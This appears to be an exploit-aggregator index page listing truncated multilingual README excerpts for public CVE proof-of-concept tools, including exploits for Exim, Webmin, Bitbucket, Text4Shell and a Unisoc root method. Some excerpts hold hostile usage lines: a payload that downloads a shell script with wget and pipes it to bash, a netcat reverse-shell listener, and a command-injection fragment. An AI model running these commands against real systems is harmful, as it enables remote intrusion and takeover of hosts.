Cve-2024-32002-poc

CVE-2024-32002 PoC de RCE Resumen Este repositorio contiene una Prueba de Concepto PoC para CVE-2024-32002, una vulnerabilidad de Ejecución Remota de Código RCE en submódulos de Git. El exploit demuestra cómo una carga maliciosa puede ser desencadenada mediante un clon recursivo de un repositorio...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2016-8655

CVE-2016-8655...

Caboom

Caboom root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ██████╗ ███╗ ███╗ ██╗ ██╔════╝██╔══██╗██╔══██╗██╔═══██╗██╔═══██╗████╗ ████║ ██║ ██║ ███████║██████╔╝██║ ██║██║ ██║██╔████╔██║ ██║ ██║ ██╔══██║██╔══██╗██║ ██║██║ ██║██║╚██╔╝██║ ╚═╝ ╚██████╗██║ ██║██████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║ ██╗...

XSHOCK

⚡ xShock ShellShock ⚡ Written by TMRSWRR Version 1.0.0 xShock ShellShock CVE-2014-6271 This tool exploits shellshock. Instagram: TMRSWRR 🖼️ Screenshots 🖼️ 📹 How to use 📹 Click on the image... 📒 Read Me 📒 All founded directories will be saved in vulnurl.txt file. The results of the executed commands...

CVE-2019-15107-Exploit

CVE-2019-15107 Exploit en Python Este exploit es para CVE-2019-15107 Webmin 1.890-1.920 RCE sin autenticación implementado en Python. Uso root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

CVE-2024-38063-Exploit-Refactoring

Exploit CVE-2024-38063 Herramienta de explotación avanzada con manejo de errores de precisión y ejecución conforme a DO-176C. Resumen Esta es una herramienta especializada de evaluación de seguridad para probar la mitigación de vulnerabilidades IPv6 de Windows en sistemas objetivo. Incluye...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE permite a un usuario autenticado lograr la ejecución remota de comandos a través de la funcionalidad de eventos. Se puede realizar con credenciales o una cookie de sesión PHP. Comenzando Ejecutando el programa Usando credenciales...

CVE-2020-8835

CVE-2020-8835...

CVE-2022-36804

CVE-2022-36804 RCE en Bitbucket 2022 Este repositorio es parte de hgrab-framework dork title: "Public Repositories - Bitbucket" Productos afectados root@kitploit: - Bitbucket Server y Data Center 7.6 anteriores a 7.6.17 - Bitbucket Server y Data Center 7.17 anteriores a 7.17.10 - Bitbucket Server...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind 远程代码执行漏洞...

trivy-action

Trivy Action GitHub Action for Trivy Table of Contents Usage Scan CI Pipeline Scan CI Pipeline w/ Trivy Config Cache Trivy Setup Scanning a Tarball Using Trivy with templates Using Trivy with GitHub Code Scanning...

opgp-service-cve-2019-9153

CVE-2019-9153 漏洞 基于 BSI 的设置复现 PoC 调查 opgp-service API 对此类攻击的脆弱性 使用以下命令运行测试： root@kitploit: npm test 结论： opgp-service 默认配置了 AEADprotect=true，这可以防御 CVE-2019-9153 中描述的数字签名绕过攻击。 许可证：MIT 版权所有 2019 Stéphane M. Catala...

apache__rocketmq_CVE-2019-17572_4-6-0

Apache RocketMQ Apache RocketMQ es una plataforma distribuida de mensajería y streaming con baja latencia, alto rendimiento y fiabilidad, capacidad de nivel de billones y escalabilidad flexible. Ofrece una variedad de funciones: Modelo de mensajería Pub/Sub Mensajería transaccional de grado...

unisoc-su

unisoc-su 一种利用 CVE-2025-31710 连接到 cmdskt 抽象套接字，在未修补的展讯机型上获取 root shell 的方法 在大家喊叫之前，展讯公司本身已授权我在 CVE-2025-31710 公告后发布此内容，所以请保持安静。 让我们先讲个笑话 是的，你没有做梦，今天我要向你展示一个针对 com.sprd.engineermode 应用的系统 shell 漏洞，并且由于它是 cmdskt 的受信客户端之一，我也能成功进入。这个抽象套接字是作为 root 运行的 cmdservices 服务的一部分，所以，是的，我很高兴向你介绍 unisoc-su。这里是从...

text4shell-exploit

text4shell-exploit 一个基于Python的定制化概念验证（PoC）利用程序，针对Text4Shell（CVE-2022-42889），这是Apache Commons Text版本 示例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 确保在攻击机上设置监听器： root@kitploit: nc -nlvp 4444 有效载荷逻辑 该脚本注入： root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec...

frameworks_av_CVE-2023-20933

Este repositorio no tiene un README...

CVE-2021-31589

Badges 许可证 MIT 安装 使用 npm 安装 cve-2021-31589 root@kitploit: npm install cve-2021-31589 -g 用法 单 URL 示例 root@kitploit: cve-2021-31589 -u http://example.com 用法 URL 列表示例 root@kitploit: cve-2021-31589 -l urls.txt -o out.txt 截图 帮助菜单 获取所有项 root@kitploit: 👋 你好，karthithehacker .-----------------------------...

CVE-2021-22204

ExifTool 远程代码执行漏洞 这应该算是CVE-2021-22204的分析文章，但更多像是我的草稿本，写满了很多杂乱无章的东西，对于漏洞分析文章而言显得有些废话了，但却让我学到很多。 说实话，我从未使用过这款工具，也几乎没有接触过Perl这门语言，导致我在分析，乃至复现的过程中心中满是问号。在开始分析之前，先看看网上已公开的poc，以及我心中的疑问。 POC - convisolabs 看到的一篇文章是1，其对漏洞产生的原因进行了简短介绍，但是由于我看不懂Perl代码，很多地方不清楚。其复现过程如下： 下载12.23版本的exiftool root@kitploit: wget...

Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-

Remote Code Execution – CVE-2024-28397 pyload-ng / js2py This repository contains a Proof-of-Concept PoC exploit for CVE-2024-28397 , a Remote Code Execution vulnerability affecting pyload-ng due to insecure usage of js2py. Disclaimer: This PoC is for educational and research purposes only. Do no...